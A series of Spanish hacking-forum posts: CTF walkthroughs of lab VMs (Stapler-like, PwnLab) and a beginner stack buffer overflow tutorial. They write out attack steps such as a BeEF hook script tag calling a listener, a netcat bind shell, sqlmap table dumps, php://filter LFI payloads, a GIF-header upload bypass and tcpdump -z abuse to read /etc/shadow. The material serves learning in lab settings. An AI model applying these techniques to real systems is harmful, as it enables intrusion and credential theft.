Resumiendo, posee un backdoor (como suponiamos desde el principio), en el sistema de Billy, el cual funciona en el puerto 22. Este parece activarse enviando un e-mail en el cual debe incluirse el siguiente texto "My kid will be a____ _____", y luego comenta que podra loguearse con su wifi passwd, no lo vio en el billy folder, pero quizas este en lo de Veronica.. Ok let's go.

La respuesta esta en ese link de youtube. En donde dice que sera un "soccer player.." ;D

Ok, procedo a buscar al manera para enviar un email con el mensaje "My kid will be a soccer player".. recuerdo que había prestado atención a la ventana de wireshark donde analizaba esos mails capturados, y veía que los mails habían sido enviados desde swaks:



Procedo a instalarlo y familiarizarme con su uso mirando el swaks man.
Luego de unos minutos.. creo que intento dar con la estructura correcta luego de varios intentos para enviarlo:





Considerando que no hay nada que nos avise si funciono o no, tendré que realizar un escaneo nuevamente con NMAP ya que el puerto 22 me da señales de nada interesante ahora mismo. Veamos si hay algún puerto nuevo abierto en esta caja de Pandora:



We have a new open port!! el puerto 1974/tcp esta abierto. Antes no salia. Veamos:

** Port 1974/tcp open OpenSSH 7.2p2  (Ubuntu Linux; protocol 2.0) **

Bien, ya tenemos el puerto SSH abierto, pero nos falta el password. Según la pista que nos dio al leer el file .notes decía que la passwd podría estar en lo de Veronica home. Tendremos que intentar buscar a toda costa la contraseña, por ende intentaremos crackear el FTP de Veronica.

Me pongo a hacer una rápida búsqueda en Google sobre los mejores Wordlist y encuentro varias recomendaciones sobre el mismo Wordlist, Rockyou.txt:



El gentil usuario kurtisebear, comenta de donde bajar wordlist interesantes. Procedo a hacerle caso y bajarlo de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Utilizo HYDRA para intentar crackear el password FTP, considerando que es un wordlist realmente extenso algo asi como 14Millones de palabras, voy a intentar hacer un grep de los passwords relacionados con veronica y procedo a crackear:



Voila!, password found!.

Logueamos y nos encontramos con dos archivos. Uno pertenece a un email entre Billy y Veronica...contándole que dejo a mitad de camino el crackeo de wireless de Eric y el otro es un ".cap" del trafico en cuestión. Procedemos a bajarlo, recordar antes activar el modo Binary en el ftp para descargar el archivo, sino bajara de manera corrupta.

Analizamos con wireshark el archivo y efectivamente comprobamos que se trata de trafico wireless. Continuando con la buena racha de nuestro diccionario rockyou.txt, vamos a invocarlo para crackear con aircrack-ng el .cap:



Luego de casi 19 minutos, funciono. La passwd es: triscuit*



Logre loguear como Eric.. verifique los files de su home, entre otras cosas y no logro dar con nada interesante, luego de investigar y de los exploits que habíamos encontrado que al parecer ninguno funciono, trato de buscar archivos con suid, al igual que ya es costumbre con las CTF de Vulnhub anteriores..




Ese resultado de la primer linea me llama la atención, parece interesante, luego de investigar un poco por Google, no logro encontrar nada sobre eso.. pero se que el binario ese corre como "ROOT". Al ejecutarlo me devuelve el modo de uso:

Código: php
Usage: ./donpcgd path1 path2

Hago una prueba de pasar por el path1 un directorio con privilegios root y luego creo el archivo null2 en /tmp:



Se creo el archivo en /tmp/ con privilegios de ROOT. Podríamos hacer dos cosas ahora, una seria optar por crear una conexión inversa mediante netcat, o la otra sabiendo que es un ubuntu agregar el usuario eric a sudoers. Creando una linea en cron.hourly para que a la hora se ejecute y nos permita ser Root. Creo que la segunda es mas 'estable' y permite mayor persistencia en el sistema.



Lo que hice fue crear un file en /tmp/.. el cual contiene permisos de 'eric', luego invoque al binario vulnerable para que use ese archivo creado como path1 y redireccione como path2 a cron.hourly.. en este lugar no tengo permisos así que con el binario vulnerable salto ese permiso y creamos un script echo que agrega al usuario eric a sudoers. Si todo sale bien, en menos de 60 minutos, permitiría ser ROOT.



Luego de 1 hora y minutos, funciono. Soy ROOT!. Genial.. alistamos directorio e investigamos la carpeta de root.... ya que esto no finaliza acá, tenemos que encontrar el archivo de Billy de final de grado.

Encontrando el archivo de final de grado.



Luego de investigar cada archivo que contenía la carpeta /root/, logro divisar que dentro de la carpeta /root/ssh/ existe un file llamado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, este archivo al hacerle un cat, nos da a entender que es el encargado de abrirnos el backdoor al sistema.

Se encarga de verificar mediante el grep si la frase de "My kid will be a soccer player" fue enviada y acepta mediante iptables la conexión entrante al puerto 1974. Ademas escribe en el archivo ebd.txt el texto que vimos en un principio de todo sobre que el acceso al Backdoor esta abierto o cerrado.

Bien, si nos dirigimos a /root/PRIVATE/, nos encontramos con lo siguiente:



El archivo BowelMovement es de tipo "data" y el hint.txt nos dice que la contraseña se encuentra en ese Wikipedia link.

Para trabajar mas cómodo envié el archivo BowelMovement via scp a mi pc. Luego de un buen rato intentando iluminar la lampara, me di cuenta que algo que es de tipo 'data' y contiene password, podría ser una unidad virtual, generado con programas como el viejo truecrypt etc.. Procedo a trabajar con veracrypt una solución mas moderna, y al parecer la evolución al proyecto antiguo truecrypt.

Bien, si es como pienso a esta altura y espero que si porque ya no tengo mas ideas, como todo disco/partición encriptada necesita su palabra mágica. En el archivo hint.txt decía que la password estaba en el link Wikipedia, realmente es grande el contenido como para ir probando uno por uno. Asi que primero generaremos en base a esa wikipedia un w0rdlist para crackear el archivo BowelMovement con TrueCrack.

Generando el wordlist:



Una vez generado el wordlist, en mi caso: w0rdlist_wiki, lo invocaremos a TrueCrack para realizar un bruteforce:



Excelente!!.. procedemos a usar veracrypt para montar la unidad:



Descomprimimos el No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:



Y el archivo de final de grado de Billy recuperado:



THE_END || No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#12
Hacking / Nuestro primer BufferOverflow.
Septiembre 11, 2016, 12:38:22 AM
Bueno hoy como un amigo no entendia bien el concepto se me ocurrio crear una entrada en mi blog con lo siguiente, mas que nada porque nunca lo habia hecho en mi blog. Como siempre, trato de compartirlo y esperar que sea util para alguien, aunque sea algun invitado perdido del mas alla y nunca me entere. jeje..

Esto es para los que inician y que sea compatible con las ultimas distros de Linux, ojala sirva de partida o impulso a seguir progresando.



# REQUISITOS PREVIOS:

Los únicos requisitos son saber un básico de assembler, gcc y conocimientos de C.



CONTENIDO:
[Segmentacion de la memoria]
[Registros assembler de uso comun]
[Manejo de memoria en una llamada a función]
[Ahora si.. ¿Que es un Buffer Overflow?]
[Nuestro codigo C vulnerable]
[Desensamblando con GDB]
[Creando el payload y desbordando el buffer]


[Segmentacion de la memoria] de un programa en C:

Cuando compilamos un programa con su respectivo código fuente, por ejemplo en C, la memoria se divide en 5 partes fundamentales como muestra la siguiente imagen:



Command-Line arguments and environment variables // Argumentos de Linea de Comandos y variables de Entornos:
Acá es donde se almacenan los argumentos que le pasamos al binario al momento de correrlo, y también las variables de entornos. Por ejemplo:

Código: php
$> ./binario [Argumento1] [Argumento2]


#STACK:
La famosa pila, es el lugar donde se usa como memoria temporal para almacenar las variables de funciones locales y contexto durante las llamadas a funciones.
La pila es una estructura de datos abstractos que se usan con frecuencia.
El método en que los datos se ingresan es en modo LIFO del ingles Last Input, First Output. Que quiere decir Ultimo entrado, Primero salido. Imagínenlo como un mazo de cartas. Al poner una carta encima de la otra, para retirar la que esta debajo, primero tendríamos que sacar la que pusimos en ultimo lugar, y por ultimo sacaríamos la que estaba debajo de todo.

#HEAP:
El heap es un segmento de la memoria que puede ser manejado directamente por el programador, quien puede colocar y usar los bloques de memoria del segmento para lo que quiera. Siempre que se use por ejemplo la funcion "malloc" para obtener memoria dinamicamente sera asignado en el HEAP.

#Uninitialized data o No-Inicializadas.. (BSS SEGMENT):
Es el segmento donde se encuentran las variables estáticas y globales no inicializadas.

#Initialized data o Inicializadas.. (DATA SEGMENT):
En su contrapartida a la anterior, es donde se almacenan todas las variables estáticas y globales inicializadas.

#TEXT:
En este lugar los permisos de escritura suelen estar deshabilitados y no se usa para almacenar variables. Solo código. Posee un tamaño fijo, ya que no hay nada que permita cambiarlo. El loader carga instrucciones desde acá y las ejecuta.



[Registros assembler de uso comun]

Explicare ahora algunos de los registros assembler que ya deberían tener en claro, pero por si las dudas:

EAX,EBX,ECX,EDX:
Estos registros son de propósito general.. suelen usarse para varias cosas pero principalmente como variables temporales para la CPU cuando esta ejecutando instrucciones de maquina.


EIP:
Es el registro de puntero de instrucción. Señala la instrucción que el procesador esta leyendo actualmente.. piénsenlo cuando de chicos leíamos un libro y con nuestro dedo seguíamos cada palabra.

ESP:
Es el registro puntero de STACK. Almacena la dirección de lo alto de la pila.
Como dije anteriormente, imaginemos que es un mazo de cartas, este registro almacena la dirección del ultimo elemento que se añadió al mazo.

EBP:
Es el registro puntero que posee la dirección base de la pila, a contrapartida de ESP que mantenía la dirección de la cima de la pila. EBP contiene el puntero al primer bloque de la memoria del rango de bloques mientras que ESP representa el ultimo bloque de la memoria de una función.

[Manejo de memoria en una llamada a funcion]:

Para entender mejor todo esto, veremos un pequeño código y explicare paso a paso que va sucediendo:

Código: c
int test(int a, int b) {
    int x, z;
}
int main() {
    test(10, 12); 
}


Bien, como vemos, tenemos la funcion MAIN(), y la funcion test(). Mediante main llamamos a la función test() pasandole dos enteros y la función test() recibe esos dos valores enteros. Ademas se declaran 2 variables enteras llamadas 'x' y 'z' sin ningun valor especifico.

¿Pero como funciona esto a nivel memoria?.. asi:

EIP se encuentra con la llamada a la funcion test(). Automaticamente se ingresan los datos a la pila, el orden es de derecha a izquierda. Por ende primero se hara un PUSH de 12 y luego de 10:


10
12
******


Una vez hecho eso se necesita saber como seguir después de que la función TEST termine, por ende se pone la direccion de la siguiente instrucción en la pila.

Una vez se realiza esto, se pone la dirección de la función TEST() en el EIP ahora apunta a la función TEST() la cual toma control.

Como ahora nos encontramos en la función TEST(), se requiere actualizar el registro EBP. Pero antes guardamos EBP en la STACK, para una vez terminado el trabajo, sepamos regresar a la función MAIN() sin problemas.

Luego, se setea EBP igual a ESP. Ahora EBP apunta al actual puntero de pila o stack pointer, (ESP viene del ingles Extended STACK POINTER).

A continuación se ponen las variables locales que declaramos "x" y "z" en el espacio reservado en la STACK. El valor de ESP a raíz de esto es modificado.

Una vez que la función TEST() finaliza.. se necesita regresar al marco de pila anterior (o stack frame en ingles). Por lo tanto se setea ESP al EBP con el valor anterior. Se retira EBP con el valor anterior de la STACK y se vuelve a almacenar en EBP. Ahora el EBP apunta de regreso a MAIN(). (recuerdan que arriba lo habíamos almacenado para poder acordarnos como regresar?).

Para finalizar, se quita el RET ADDRESS de la pila que habíamos puesto y EIP ahora apunta a la dirección que contenía el RET, justamente una instruccion despues del CALL a la función TEST().

Algo así quedaría la Memoria mientras se ejecuta la funcion TEST():

*************************************************
12
*************************************************
10
*************************************************
<RET ADDRESS>
*************************************************
<EBP de MAIN()>                         >>>>>>>>>>>>> EBP
*************************************************
Lugar asignado para variable "x"
*************************************************
Lugar asignado para variable "z"  >>>>>>>>>>>>> ESP
*************************************************


Después de esto tedioso.. Empecemos con un poco mas de diversion.

[Ahora si.. ¿Que es un Buffer Overflow?]



En pocas palabras el Buffer Overflow, desde ahora BOF, ocurre cuando en un programa o proceso se intenta almacenar mas datos en un buffer del que este fue previamente programado. Cuando los buffers (espacios de memoria destinados para cierta cantidad de datos), son sobrecargados, como si fuese un vaso de agua que contiene cierta capacidad para contenerla y cuando esta al máximo, la famosa gota que rebalsa el vaso. En esto es lo mismo, los datos extras que rebalsa de un buffer pueden tener distintos impactos desde corromper una aplicación y detenerla, los bytes sobrantes pueden almacenarse en buffers o zonas de memorias adyacentes.. etc.

Un usuario malintencionado podría guiar un BOF para influir en determinado funcionamiento del sistema, como por ejemplo la escalada de privilegios, etc.

[Nuestro código C vulnerable]:

Pueden descargar el codigo de aca: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.



Bien, este código es muy básico, pero no menos util. Una breve reseña de lo que hace: Ademas de la función main() posee dos funciones VERIFICAR() y FuncionOBJETIVO(). Una vez que se llama a la función Verificar(), se declara un Buffer de 15 caracteres y se solicita una clave; si la clave es diferente a "passw0rd", dará error. Si es correcta, invoca a la FuncionOBJETIVO().

Nuestra idea claramente no es poner el password correcto, es solo un detalle.
Nuestro verdadero objetivo sera en este ejemplo, modificar el RETurn address y lograr ejecutar como RET la address de FuncionOBJETIVO() sin introducir el password correcto, solo desbordando el buffer.

Una vez tienen el código, hay que compilarlo. La siguiente sintaxis compilara mediante GCC el código, atención al flag -fno-stack-protector. Este flag deshabilita la protección de la pila que viene por default. (Mas adelante se tocaran temas de protecciones, etc.). De momento testeamos de esta manera. Si estas usando un sistema operativo de 64bits, hay que agregarle otro flag -m32. Tambien le agrego el flag -g para que luego el gdb me muestre el codigo fuente mientras lo manipulamos.



Una vez compilado, procedemos a ejecutarlo:



Como vemos, ejecutamos el binario ./final, ingresamos un passwd incorrecto. Luego reintentamos con el correcto y nos demuestra que invoca la FuncionOBJETIVO() correctamente, y luego intentamos desbordarlo manualmente con muchos "9".
Nos arroja un Segmentation Fault. Tipico error de crasheo.

[Desensamblando con GDB]:

Es importante aclarar antes que las direcciones de memoria podrían variar levemente en sus maquinas y no ser iguales a las mías.

Vamos a correr nuestro binario en GDB (GNU Debugger) y desensamblamos la función MAIN():





No hay mucho por ver, ya que solo se limita a llamar a la funcion Verificar().

Ahora desensamblamos la función VERIFICAR() y resalto lo mas importante:



En la tercer linea vemos como se reserva un espacio de 0x28 (en hexadecimal), que pasado a Decimal es: 40. En este lugar es donde se reservan las variables locales de la función. En la siguiente linea con mas claridad vemos:



Esta linea nos indica donde es que empieza buffer justo 0x1B (1B en hexadecimal; y decimal es: 27) bytes antes a EBP.

Bien, por ultimo nos queda desensamblar la FuncionOBJETIVO():



La FuncionOBJETIVO() empieza en la direccion 080484cb.


[Creando el payload y desbordando el buffer]:

Vamos a reunir lo que comentamos arriba y diseñar el payload, este es el que se va a encargar de desbordar el buffer y hacernos llegar a esa FuncionOBJETIVO(). sin necesidad de poner el password, aprovechándonos de un RET.

Como dije antes, nuestro buffer comienza a 27 bytes antes del EBP. Esto quiere decir que tenemos 27 bytes y luego vienen 4 bytes mas de EBP. El Base Pointer. Luego de eso como habiamos visto al principio, tendríamos que encontrarnos con el RET ADDRESS, que es la direccion de retorno, una vez que la función finalice EIP usara esa direccion para regresar.

Y ese es el punto en el que vamos a desbordar y abusar del RET para que nos lleve a la FuncionOBJETIVO(). Sabemos que la direccion de nuestra FuncionOBJETIVO(), comienza en "080484cb"..

La cosa estaría mas o menos así:

Código: php
27 bytes+4bytes = 31bytes tenemos de caracteres random. 
Los 4 bytes restantes serán de la direccion de la FuncionOBJETIVO() en el RET.


Bien haremos lo siguiente, vamos a invocar python para aplicar nuestro payload sobre el binario. Ahora suponiendo que sus maquinas utilicen Little-Endian, cosa que asi es en mi caso (mas info en wikipedia), tenemos que ingresar los bytes del siguiente modo a la inversa para que funcione, si la direccion era "08 04 84 CB" tenemos que aplicarlo al revés... "CB 84 04 08".

Invocamos python del siguiente modo:



Se invoca python, y se envían al binario 31 bytes (letras "A"), y se le suman 4 bytes finales que son la direccion donde empieza la FuncionOBJETIVO(). Mediante el pipe se le pasa al binario y logramos obtener el mensaje de "Buffer Overflow con éxito".

Para finalizar, decir que hay varias funciones vulnerables a BOF, strcpy(), gets(), scanf(), sprintf(), strcat(), etc

Espero que como introducción haya servido, cualquier duda ya saben, me escriben.
Saludos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#13
Primero que nada, gracias a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta por agregar mi paper de resolución en español del CTF de PWNLAB INIT en su propia web, estoy a la espera del segundo jej: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

EDIT* Ya agregaron mi write-up en la web oficial de arriba jeje.

Bien arranquemos este gran CTF, que por cierto me gusto mucho mas que el anterior que resolví.



Comienzo realizando un escaneo de puertos con nmap a la IP objetivo que en este caso esta estática y es la siguiente: 192.168.110.151:

Código: php
nmap -sV -p- 192.168.110.151 -T5




Vemos que figuran 3 puertos abiertos, 2 pertenecientes a rpc y el mas llamativo un ssh server corriendo en el puerto mas alto.
Procedemos a conectarnos via SSH:

Código: php
cnfs@X55:~/Escritorio$ ssh 192.168.110.151 -p 65535




Como vemos en la imagen nos arroja un banner y nos pide ingresar un password. Acá podríamos intentar bruteforcear el login pero como pensé en el CTF anterior, creo que va mas por el lado de resolverlo usando la lógica y tecnicismo que ponernos a crackear.

Después de mirar y mirar me enfoque en el banner y saque dos datos importantes, en una misma linea:

"Peter, if that's you - the password is in the source"

El usuario podría ser Peter......y la contraseña mmm "the password is.....'inthesource'??". Inserto eso, y noto como respuesta que automáticamente se cierra la conexión de manera remota. Se habrá cerrado el puerto?.. se habrá caído el servicio?. Verifiquemos con un nmap nuevamente.



Ahora nos figura un nuevo puerto abierto, un puerto http. Se pone bueno esto..

Verfico con Nikto a ver si me da algo de info extra, ademas de analizarlo manualmente, y no logro obtener nada interesante. Mas que un directorio /icons/ y uno de /images/ el cual no tengo permisos para acceder. Vemos info sobre una fuga de etags.

El index es ".html", no podemos hacer mucho mas.. intento buscar ayuda con un scanner llamado Dirb el cual espero me ayude a conseguir alguna pista que no tenga a la vista:

Código: php
cnfs@X55:~/bin/dirb222$ ./dirb http://192.168.110.151 wordlists/common.txt 




Bingo!. Resulta que hay un blog en este site. Y entre los resultados me encuentro las siguientes carpetas y archivos:

/blog/README
/blog/smilies/
/blog/wysiwyg/
/images/
/blog/



Si miramos el file README, logramos entender que se trata de unas serie de instrucciones para 'instalar' el blog. Eso quiere decir que si le damos al install.php, seguramente nos conceda el placer de instalar desde cero y setear nuestra cuenta de 'admin'.. probemos.

Luego de seguir unos 'Next' seteo la cuenta de Admin satisfactoriamente. Pero al loguear, veo que no podemos hacer mucho mas, la funcionalidad esta reducida. Muy mal... jeje. Sigo.

Verificando exploits por exploit-db, logro dar con algunos que me dan información de posibles XSS y SQLi.

Logro comprobar, que con un simple <script>alert();</script>, en el blog/register.html de la pagina, precisamente en el campo de Username, es vulnerable. Luego al ir a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta vemos el alert:



Luego de familiarizarme un poco mas con la web, intento correr SQLMAP para ver con que me sorprende en el siguiente path:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Y el resultado parece ser muy bueno:



Tranquilamente podria haber puesto un --all para que testee y resuelva todo automáticamente, pero preferí hacerlos mas ordenados de ese modo.
Nos alista unas 5 base de datos que contiene el sitio y en las cuales podemos analizar. Como esto es un Walkthrough voy a saltar todas las pruebas positivas y negativas realizadas, y voy directo a lo mas importante.

Luego de familiarizarme con las DB's logro dar con una base de datos llamada "oscommerce", en la cual posee una tabla llamada: osc_administrators. ;D

Dumpeamos dicha tabla:

Código: php
cnfs@X55:~$ sqlmap -u "http://192.168.110.151/blog/index.php?search=" --dump -T osc_administrators -D oscommerce




Por lo que vemos parece ser un hash md5. Deberíamos crackearlo, pero antes de desperdiciar tiempo crackeandolo podríamos verificar en alguna base de datos online si no fue crackeado con anterioridad y alguien ya lo hizo por nosotros jeje.

Podrían usar una web como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ingresan el hash, y le dan a crack!. Tuve suerte y el resultado fue instantáneo, como dije, nos ahorramos tiempo:



(El password búsquenlo ustedes mismos, no sean vagos jeje)

Bueno continuando con el análisis, verificando algunos archivos dumpeados de la tabla oscommerce, encuentro este Path, pero al parecer no es accesible desde apache:

Tambien verificando otros archivos, pude encontrar un mail interesante: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, ese ".local" da a entender que es un mail local de linux, un vhost mas que seguro.

Luego de dar vueltas y vueltas, (de verdad que tarde mucho time.. andaba poco de cafe), logre asimilar el Bannerdel /index.html que dice BEEF + el posible XSS en members.. estaba servido y a la vista. Se trataba de BEEF FRAMEWORK!!!.
Link de referencia: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Bien, si corro el Wireshark a sniffear la red de la victima, logro ver algo como lo siguiente, que se repite reiteradamente, en un plazo muy corto..



Es como si se tratase de un bot.

Procedo a instalar y correr el Beef Framework. Intento Hookear mi ip, para verificar que todo funciona bien y mi pc se reporta hookeada mediante el siguiente .html de prueba:



Si ahora veo el Beef-Framework:



Bien, lo que se me ocurre hacer ahora es volver a donde había inyectado previamente el script alert, en el campo username que era vulnerable a XSS, puede que tengan que reinstalar la VM, ya que si se inyecta muchos usuarios nuevos en el campo username puede que no funcione bien. Cree un nuevo usuario con el siguiente script (en mi caso mi ip local asignada en ese momento):

Código: php
<script src="http://192.168.0.104:3000/hook.js"></script>


Y eso es todo, me dispuse a esperar...esperar.. y esperar. Hasta que, it works!:



Finalmente obtuvimos una conexión. La victima posee un Firefox version 15.0.
Si vemos un poco mas abajo, nos encontramos con la cookie:



La cual intentamos descifrar utilizando un site como No tienes permitido ver los links. Registrarse o Entrar a mi cuenta;



Buscando un poco sobre la version del Firefox, encontramos un exploit aparentemente util en Metasploit: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Ya que estoy utilizando Beef, previamente lo integre con Metasploit. El cual me permite ejecutar exploits desde Beef a las victimas con la db de exploits de metasploit. Corremos el exploit previamente dicho y..



Si bien obtuve shell, se me cerraba realmente muy rapido, a penas segundos duraba para tipear.. por lo cual logre arriesgarme y tratar de abrir un puerto y brindar una shell salvadora con netcat. Antes de que se me desconectara tipie rapidamente:

Código: php
$> nc -le /bin/sh -vp 13337


Y parece que funciono..



Necesito de mi amiga /BIN/BASH:



;D.. ya la tenemos.

Investigamos un poco... encontramos el bendito script que chequeaba constantemente y nos permitio obtener la shell:



Sigo investigando..



Esto nos permitira conectarnos via mysql, pero como ya lo revise y anteriormente habiamos dumpeado tablas, sigo investigando por algo nuevo..
Realizo un netstat -putona, (:P):



Vemos que hay varios puertos, pero me llama la atención ese 2323, si telneteamos a ese puerto localmente, nos sale el siguient prompt..





Todo parece indicar que es Houston... mmmm.. despues de probar muchas veces, logre dar con el usuario que era el que estaba en un /home/: "milton" y la contraseña que acababa de resolver: "Houston". Sin embargo seguían las preguntas..



Whose stapler is it?..... Despues de probar y googlear, llegue a una QUIZ, donde había 4 posibles respuestas, y vaya locura pero me sirvió de pura suerte.. xD, (en la guerra todo se vale o no?).



Bueno verificamos, y logueamos como Milton:



Luego de seguir verificando, hay algo interesante en el ".profile" de Milton:



Hay 2 lineas que ejecutan un script en python llamado No tienes permitido ver los links. Registrarse o Entrar a mi cuenta e inicializa como root la aplicacion nginx.

Si verifico los puertos me llama la atencion el 8888, intento conectar como antes al localhost 8888 y sale lo siguiente:



Parece ser un NGINX, y si hablamos de un nginx estariamos hablando de un servidor http.. entro desde el chrome y logro encontrar la web de oscommerce. No logro encontar el path del login de administrador asi que vuelvo a la shell, y verifico el path..


Código: php
http://192.168.110.151:8888/oscommerce/admin/index.php


Anteriormente habiamos sacado el password de esta tabla, pero al parecer no era correcto mas alla de que el hash estaba bien, la clave es admin:admin. (y la que el hash mostraba como resultado era 32admin).

Automaticamente que me loguie, trate de buscar algún modo de subir alguna shell, encontré un File Manager, pero todos los directorios me limitaban en permisos..



Hasta que encontré ese directorio llamado work. El cual tengo permiso de escritura... Subo mi reverse shell "back2.php":



Ejecutamos un netcat a la escucha del puerto que configuramos la shell.. Navegamos hasta la shell desde el chrome, y vemos si funciona:



Bingo!... corremos la shell bajo el usuario blumbergh. Importamos /bin/bash con python, y luego verificamos que PATH tenemos y verificamos un SUDO -l:



Vemos que nos permite ejecutar TCPDUMP. Que raro.. e interesante.
Luego de analizar, mirar, probar... logre dar con esta referencia desde el site de seclist: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Tcpdump incorporo hace unos años la opcion '-z' que suele ir combinada con -C o -G. Esta opción nos permite ejecutar un comando en paralelo a la captura. Vamos a hacer una prueba...



Creamos un file llamado "inject" le damos permiso +x y luego invocamos al tcpdump mediante sudo, en las instrucciones finales le pasamos como -z /tmp/inject el cual contiene un cat al etc/shadow. Como vemos, el resultado funciona! ;D.

Ahora vamos a intentar enviar una shell_reverse a un puerto que dejemos escuchando localmente, a ver si nos da Root de esa manera:



Efectivamente soy ROOT. Invocamos bin/bash, y luego el bendito cat flag.



THE_END.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#14
Bueno consideraba postearlo en (Wargames y Retos), pero también considerando que es un walkthrough quizás también sirve como un Tutorial de Hacking/Pentest y para aquellos que no entiendan o estén perdidos prefieren seguirlo paso a paso a medida que leen como un tutorial, por eso es que me decidí a postearlo acá, si consideran los admins en que debería ir a Wargames, todo bien y disculpen.


Bueno hace unos días aburrido me puse a bajar este CTF llamado PWNLAB desde la siguiente dirección: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta. Necesitaran VirtualBOX - OVA para correrlo, sin mas preámbulos, intentare detallar de manera reducida y directa como logre pasarlo. (Algunos tests los saltie para no escribir de mas ya que no me brindaron lo que necesitaba para avanzar y llegar al bendito flag).

~ Comenzando:
En mi caso la ip del servidor victima es 192.168.0.106. Veamos que puertos tiene abierto, utilizando nmap:


Bien como vemos tiene algunos puertos interesantes entre los que se destaca el HTTP y el MYSQL. Podríamos intentar desde el inicio tirarle un BruteForce al login, pero por como venia la prueba quería intentar otras vías de acceso, suponía que tendría que darme algún conocimiento el avanzar de otro modo a diferencia de algo tan sencillo como bruteforcear jeje.



Bastante sencilla la web, tiene solo tres links, el home, login y el upload. Como dije antes, realice varias pruebas, ninguna satisfactoria, hasta que me puse a mirar bien. Al momento de llamar algunos de esos links por ejemplo HOME, o LOGIN, el path luce de esta manera:

Código: php
http://192.168.0.106/?page=login


Ese ?page=login me recuerda a como explotaba años atrás al famoso LFI / RFI. Con la ayuda de este site y debido a varias pruebas que no resultaron positivas, logre poder idear el método para avanzar. No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Se trata de pedir ayuda a los Wrappers o 'envoltorios, empaquetadores' en castellano. PHP acepta una serie de wrappers para distintos protocolos de tipo URL, estos permiten trabajar con funciones del sistema de archivos. Los Wrapper soportan varios filtros que pueden ser aplicados a un determinado recurso que le pasemos, en este caso como dice el site ese, podríamos probar con la función 'convert.base64-encode' y ver que pasa, la estructura quedaría asi y se la paso via BurpSuite en mi caso je.

Código: php
http://192.168.0.106/?page=php://filter/read=convert.base64-encode/resource=login




Bien, la respuesta es rápida y con buenos resultados. Si usamos un poco la lógica, la función convert.base64-encode, nos dice que el resultado lo codificara en base64. Si este resultado lo pasamos al decoder, nos da lo siguiente:



Esta mostrándonos codificado el código fuente de "login.php". Tambien vemos que existe el archivo de configuración llamado "config.php", veamos que contiene:





Volvemos a tener los mismos resultados, el resultado codificado en base64 y al decodificarlo, surprise!, el acceso al server mysql. "La contraseña fue censurada, no es la verdadera, solo por jodido y para que no sean tan vagos jeje".

Una rápida conexión desde el cliente mysql en la terminal nos confirma el acceso:



Navegamos por la DB hasta llegar a lo que nos interesa...

Código: php
$ mysql> show databases;
$ mysql> use Users;
$ mysql> show tables;
$ mysql> select * from users;


Y el resultado:



Nice, los resultados están en base64, seguimos.. opto por loguearme como KANE jeje.
Una vez logueados, estamos listos para poder subir archivos.. pero antes podríamos ver el codigo fuente de "upload.php" verdad?. Una vez mas el wrapper nos ayudara:



Obtenemos respuesta codificada y al pasarlo por el decoder, obtenemos el codigo fuente, lo que resalto a continuación es interesante, ya que de ello depende como se nos limitara nuestro archivo que subamos via el Upload.php:



Como vemos, se subirá a la carpeta upload/. Y las extensiones están limitadas a jpg, jpeg, gif y png. Bueno, necesitamos buscar la manera, de intentar subir algún archivo 'malicioso', que nos permita tomar control del sistema, y luego de alguna manera poder invocarlo para darnos ese bendito acceso.

Por mi parte lo que intente hacer fue buscar una shell de conexión inversa, la cual guarde como w0t.gif recordemos que solo 4 extensiones eran posibles y permitiría subir. Tambien pueden crear la shell inversa con metasploit, a libre criterio.

Vamos a Upload y probemos subir la imagen:



"Error 002", wtffffff??.. jeje.

Por lo visto, logra darse cuenta que no es un archivo GIF razo.. podemos bypassear de la siguiente manera, ingresando el encabezado GIF justo antes del comienzo de el codigo PHP de la shell:



Le damos a upload nuevamente y ahora si logramos bypassearlo, en mi caso se encuentra el archivo en el siguiente path:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Seguimos.. ahora tenemos que buscar el modo en que el codigo php, el de nuestra shell, se ejecute.. ya investigamos login.php, upload.php y config.php.. nos resta lo fundamental, index.php jej.

Código: php
GET /?page=php://filter/read=convert.base64-encode/resource=index


Nos arroja el resultado codificado en base64, decodificamos y obtenemos algo interesante:



Vemos ese parametro "lang" seteado en la Cookie. Investiguemos un poco mas:



Bingo!, mediante la Cookie podemos realizar un LFI (Local File Inclusion). Por ende si podemos ver el /etc/passwd, tambien podríamos ejecutar nuestra shell de conexión inversa verdad?. Vamos a intentarlo, primero dejamos un netcat escuchando localmente en el puerto 4444, que este fue el puerto que personalice la shell para que se conecte.



Como vemos en la parte de abajo en BurpSuit explotamos el LFI y en la parte de arriba en la terminal vemos como el netcat que estaba a la escucha recibe una conexión entrante... jeje.



Vemos que no podemos ingresar a la carpeta de Kane, somos www-data y el comando "su kane" para cambiar de usuario no funciona. Por lo tanto tenemos que acomodar la shell correctamente, importando bash con un script python.

Código: php
$ python -c 'import pty; pty.spawn("/bin/bash")'


Ahora si tenemos bash y procedemos a loguear con el usuario Kane, utilizamos la password mysql de antes para loguear.



Vemos que no tenemos mucho en la carpeta /home a excepción de un archivo llamado msgmike, el cual tiene un interesante detalle y es que tiene el bit SUID activado bajo el usuario MIKE.

Corremos msgmike:

Código: php
$ ./msgmike


Y nos devuelve el siguiente mensaje de error:

cat: /home/mike/msg.txt: No such file or directory

Nos damos cuenta que ejecuta 'cat' pero al parecer no con un path absoluto. Entonces pensamos que podríamos manipularlo y lograr escalar privilegios. (Referencia a tener en cuenta: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, referencia 2) repasen su ingles jeje)

Vemos que tenemos en PATH:

Código: php
kane@pwnlab:~$ echo $PATH
echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

